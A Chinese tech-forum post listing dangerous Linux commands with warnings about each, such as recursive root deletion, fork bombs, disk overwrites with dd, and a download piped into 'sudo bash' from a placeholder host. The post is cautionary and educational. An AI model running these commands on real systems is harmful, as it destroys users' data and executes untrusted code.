论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
应用中心
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
qidao123.com技术社区-IT企服评测·应用市场
»
论坛
›
软件与程序人生
›
云原生
›
linux之危险操作
linux之危险操作
王海鱼
论坛元老
|
2024-6-26 16:48:47
|
来自手机
|
显示全部楼层
|
阅读模式
楼主
主题
1957
|
帖子
1957
|
积分
5871
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
在 Linux 中,某些命令可以对系统造成不可逆的影响,尤其是当以 root 用户(或使用 sudo)执行时。以下是一些不保举容易执行的高危命令,除非你非常清楚它们的作用和潜伏的后果:
rm -rf /
删除根目次下的所有文件和目次,会造成系统无法恢复的侵害。
){ :|:& };:
这是一个所谓的 fork 炸弹,它是一个递归定义的函数,不断创建自己的副本,敏捷耗尽系统资源,导致系统瓦解。
dd if=/dev/random of=/dev/sda
这个命令会将随机数据写入硬盘 /dev/sda,导致数据丢失。
mkfs.ext4 /dev/sda1
在分区 /dev/sda1 上创建新的文件系统,将会格式化该分区,导致数据丢失。
command > /dev/sda
将命令输出直接写入硬盘,这将粉碎硬盘上的数据。
mv /home/* /dev/null
将 /home 目次下的所有文件移动到 /dev/null,这将导致所有的个人数据丢失。
sudo chmod -R 777 /
将根目次下的所有文件和目次权限设置为可由任何用户读写执行,这是一个严肃的安全风险。
sudo chown -R nobody:nogroup /
改变根目次下所有文件和目次的所有者为 nobody 用户和 nogroup 组,会导致系统服务和程序无法正常运行。
find / -type f -exec rm {} \;
查找根目次下的所有文件,并删除它们,会导致系统文件丢失。
wget http://example.com/somefile -O- | sh
下载一个文件并立即执行它。如果文件泉源不可信,这可能会导致执行恶意代码。
shutdown -h now
立即关机,如果在没有保存工作的情况下执行,可能会导致数据丢失。
init 0
立即将系统进入停机状态,等同于关机。
dd if=/dev/zero of=/dev/sda
将零值写入 /dev/sda 硬盘,会导致所有数据被清除。
sudo setenforce 0
如果你正在使用 SELinux,这个命令会将其置为宽容模式,降低系统安全性。
echo 1 > /proc/sys/kernel/sysrq
开启所有的 SysRq 键功能,如果不小心触发某些组合键,可能会导致系统瓦解或重启。
cat /dev/zero > /dev/sda
将 /dev/zero(产生无限的零值)的内容重定向到 /dev/sda,这将抹除整个硬盘。
rm -rf /*
删除系统根目次下的所有文件和文件夹,造成系统瘫痪。
rm -rf ./*
如果在根目次下执行此命令,它会删除当前目次下的所有文件和文件夹。
mv ~ /dev/null
尝试将你的主目次移动到 /dev/null,会导致个人数据丢失。
file.txt
这个命令会清空 file.txt 文件的内容。如果用错了文件名,可能不测清空重要文件。
^foo^bar
这个命令在很多 shell 中是一个快速替换操作,它会重复上一条命令,但把 foo 替换成 bar。如果不小心,可能会执行非预期的命令。
dd if=/dev/null of=/dev/sda
使用 /dev/null(它什么也不包含)作为输入,写入到 /dev/sda,将会抹除硬盘上的数据。
chmod 000 /bin/chmod
将 chmod 命令的权限设置为没有任何权限,这将导致你无法更改系统中任何文件的权限,直到权限被修复。
forkbomb() { forkbomb | forkbomb & }; forkbomb
另一个情势的 fork 炸弹,会敏捷耗尽系统资源。
rm -rf /boot
删除启动目次,这将移除启动所需的所有核心文件,导致系统无法启动。
echo c > /proc/sysrq-trigger
触发立即瓦解内核(kernel panic),这将导致系统立刻瓦解。
any_command > /dev/sda
将任何命令的输出重定向到 /dev/sda,如果不是故意为之,这可能会无意间覆盖硬盘数据。
kdestroy; kinit
如果你正在使用 Kerberos,这条命令会销毁当前的 Kerberos 票据,然后尝试重新认证,如果失败,将会丢失对所有基于 Kerberos 的服务的访问权限。
wget http://example.com/malicious-script -O- | sudo bash
下载并立即以 root 权限执行一个脚本,如果该脚本来自不可信的泉源,这可能会导致系统安全受到威胁。
reboot -f
逼迫立即重启,不会正常关闭服务或卸载文件系统,可能导致数据丢失。
请务必记着,应该避免在不相识其详细行为的情况下执行任何命令,特别是当你以 root 用户或通过 sudo 执行命令时。始终确保你相识命令的含义,最好在一个受控和可恢复的环境中测试它们。在生产环境中,应该使用版本控制和设置管理工具,比如 Ansible、Chef 或 Puppet,来管理系统设置和执行命令,以避免手动错误。
执行这些命令前应当三思而后行,并确保有足够的备份和恢复计划。在生产环境操作时,更应当谨慎,因为错误的命令可能导致重大的服务中断和数据丢失。在实践中,最好的做法是在执行任何可能危险的命令之前,先在一个安全的环境(如虚拟机)中测试它们。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
王海鱼
论坛元老
这个人很懒什么都没写!
楼主热帖
在Winform开发中,使用Async-Awati异步 ...
Vue 和 Django 前后端分离实践 (注册 ...
如何在 Vue 3 中使用<script lang=“t ...
C#依赖注入(直白明了)讲解 一看就会系 ...
一条SQL的执行原理
go中 for循环的坑
Vulnhub之Monkeybox详细测试过程(不同 ...
clickhouse的稀疏索引
教务管理系统——数据库课程设计mysql+ ...
【Django】DRF开发中的一些技巧记录 ...
标签云
渠道
国产数据库
集成商
AI
运维
CIO
存储
服务器
快速回复
返回顶部
返回列表